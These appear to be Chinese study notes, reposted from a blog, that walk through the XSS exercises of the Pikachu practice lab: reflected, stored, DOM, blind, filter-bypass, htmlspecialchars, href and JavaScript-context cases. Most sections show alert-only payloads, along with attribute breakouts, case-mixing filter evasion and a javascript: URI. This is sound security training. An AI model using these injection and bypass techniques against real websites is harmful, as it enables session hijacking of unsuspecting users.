pikachu靶场XSS详解

一、反射型XSS

1、get型

源码前后区别

前
<form method="get">
	<input class="xssr_in" type="text" name="message" maxlength="20">
	<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">输入'kobe'试试-_-</p>
后
<form method="get">
	<input class="xssr_in" type="text" name="message" maxlength="20">
	<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">who is 123,i don't care!</p>

抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256
可以修改数据,且可以绕过前端校验。

输入<script>alert('xss')</script>
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257
出现弹窗

疑问,与sql注入的get注入有什么区别

2、post型

输入账号密码
抓包
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257
post型

与get类似
输入<script>alert('xss')</script>
出现弹窗

二、存储型

1、输入123,并刷新
发现,123已经存进留言列表
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258

2、输入特殊字符,观察有无过滤
'<>?"/6666
没有任何过滤
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258

3、构造payload
输入<script>alert('xss')</script>
发现无论刷新多少次,都会出现弹窗

三、DOM型

1、输入123,点击click me,再点击what do you see

1、输入特殊字符,观察有无过滤
'"<>?&6666

2、查看源码

<script>
	function domxss(){
	var str = document.getElementById("text").value;
	document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
	//试试:'><img src="#" onmouseover="alert('xss')">
	//试试:' onclick="alert('xss')">,闭合掉就行
</script>

JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str, 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

3、构造payload

' onclick=alert("xss")>

what do you see?
<a href='"+#' onclick=alert("xss")>+"'>what do you see?
分为两部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?
在第一部分中 '"+#'闭合,onclick=alert("xss")作为连接,
在第二部分中 +"'>what do you see?作为链接的触发,因此不能根据这个显示来判断有无过滤。

拓展
在第一部分中,只需要前后闭合即可

四、DOM型-x

1、查看源码

<script>
	function domxss(){
		var str = window.location.search;
		var txss = decodeURIComponent(str.split("text=")[1]);
		var xss = txss.replace(/+/g,' ');
		//alert(xss);

		document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
	}
	//试试:'><img src="#" onmouseover="alert('xss')">
	//试试:' onclick="alert('xss')">,闭合掉就行
</script>

定义了一个domxss函数。它$color{red}{利用 window.location.search 获取浏览器中url的内容}$,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

2、与之前相同
构造payload

' onclick=alert("xss")>

3、观察payload
发现在url中
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267
即,程序是在url中获得参数内容

五、XSS盲打

1、输入123456,123456。查看后台,查看后台源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291

2、猜想,写恶意的脚本,能否成功执行,

<scritp>
	alert("xss")
</scritp>

成功执行

六、xs过滤和绕过

1、测试那些符号或关键词被过滤掉了
输入
'<>?"/6666
输出
别说这些''<>?"/6666'的话,不要怕,就是干!
没有过滤符号

输入
<script>alert("xss")</script>
输出
别说这些'>'的话,不要怕,就是干!
猜测,过滤了script,尝试双写,绕过过滤

输入
<scr<script>ipt>alert("xss")</scr</script>ipt>
输出
别说这些'>'的话,不要怕,就是干!
尝试大小写绕过

输入
<sCriPt>alert("xss")</sCRipt>
输出
弹窗,成功绕过

七、htmlspecialchars

1、测试输入
输入
123456
输出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292

输入
'<>?"/6666
输出
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293
字符被实体化了

2、查看源码
判断为反射型xss,且是从url中获得参数

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入点啥吧!</p>";
    }else {
        //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
        $message=htmlspecialchars($_GET['message']);
        $html1.="<p class='notice'>你的输入已经被记录:</p>";
        //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
//        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}

3、尝试绕过
输入
'alert(“xss“)'
源码
![[Pasted image 20201219154508.png]]

输入
1' onclick='alert(1)'
成功弹窗
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294

八、href输出

1、测试输入
输入123456,查看网页源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294
并发现123456显示在url上
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294

输入'<>?"/6666,查看网页源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294
有些字符被实体化了,仅剩' /

2、尝试构造payload
当输出在a标签里的href属性时,可以用js协议来执行js代码
javascript:alert(0)
成功弹窗

九、js输出

1、测试输入
输入123456,
没有输出
查看页面源码

<script>
    $ms='123456';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

输入'<>?"/6666,查看网页源码

<script>
    $ms=''<>?"/6666';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }a

    }
</script>

没有过滤字符

2、尝试构造payload
'test'</script> <script> alert("xss")</script><script>
成功前后闭合,弹窗

原文地址:https://www.cnblogs.com/gorillalee/p/14199292.html